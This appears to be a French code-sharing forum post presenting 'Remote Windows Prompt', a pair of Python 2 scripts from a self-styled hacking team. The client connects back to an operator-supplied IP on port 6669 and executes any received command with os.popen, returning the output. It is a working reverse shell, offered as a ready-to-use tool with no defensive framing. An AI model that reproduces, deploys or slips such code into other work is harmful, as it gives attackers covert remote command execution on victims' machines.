Remote windows prompt

Description

Voila, ce petit script sert à prendre le contrôle d'une console CMD.EXE à distance.
Rien de bien méchant, je me suis donner beaucoup de mal pour le transfère de données mais au final sa peut servir :)

Source / Exemple :


##############################################
SERVEUR
##############################################

#!/usr/bin/python

# Remote Windows Prompt / Shell
# By NqrK
# Pr0ceed-Team
# SSTeam
# Code Python
# SERVER

import os
import sys
import socket

Host = ''
Port = 6669

error = "Error : Socket\n"
adrs = (Host, Port)
Buff = 64790
error = "Error: Socket"

SockServ = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    SockServ.bind(adrs)
    SockServ.listen(5)
    print "\n\a[*]Server Listenning on port ", Port, " [Waiting...].\n"
except socket.error:
    print error
    raw_input("Press Enter to Continue..")

connexion, adresse = SockServ.accept()

print "\n\a[*]New Connection ~ IP: %s, Port: %s\n" % (adresse[0], adresse[1])

while (1):

    connexion.send("cmd")
    
    cmd = raw_input("root@db ~ # ")

    if cmd == "/disconnect":

        connexion.send("close~cmd")
        data = connexion.recv(Buff)
        print ""
        print data
        break

    elif cmd == "":

        print "\nCommand Not Found...\n"

    else:

        connexion.send(cmd)
        data = connexion.recv(Buff)
        print ""
        print data, "\n"

##############################################
CLIENT
##############################################

#!/usr/bin/python

# Remote Windows Prompt / Shell
# By NqrK
# Pr0ceed-Team
# SSTeam
# Code Python
# CLIENT

import os
import sys
import socket
import time

Host = '127.0.0.1' # Enter ur IP ADRESS
Port = 6669
adrs = (Host, Port)
Buff = 64790
error = "Error Socket"

SockClient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    print "Connection....Waiting...\n"
    time.sleep(2)
    
    SockClient.connect(adrs)
    print "Connected !!!"
    
except socket.error:
    
    print error
    raw_input()

while (1):

    data = SockClient.recv(Buff)

    if data == "cmd":

        Proc = SockClient.recv(Buff)

        try:

            if Proc == "close~cmd":
                SockClient.send("\n[*]Remote Windows Prompt Disconnected..\n")
                
                pass

            else :

                shell_exec = os.popen(Proc)
                SockClient.send(shell_exec.read())

        except:

            SockClient.send("[*]Error Remote Shell...")

SockClient.close()

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.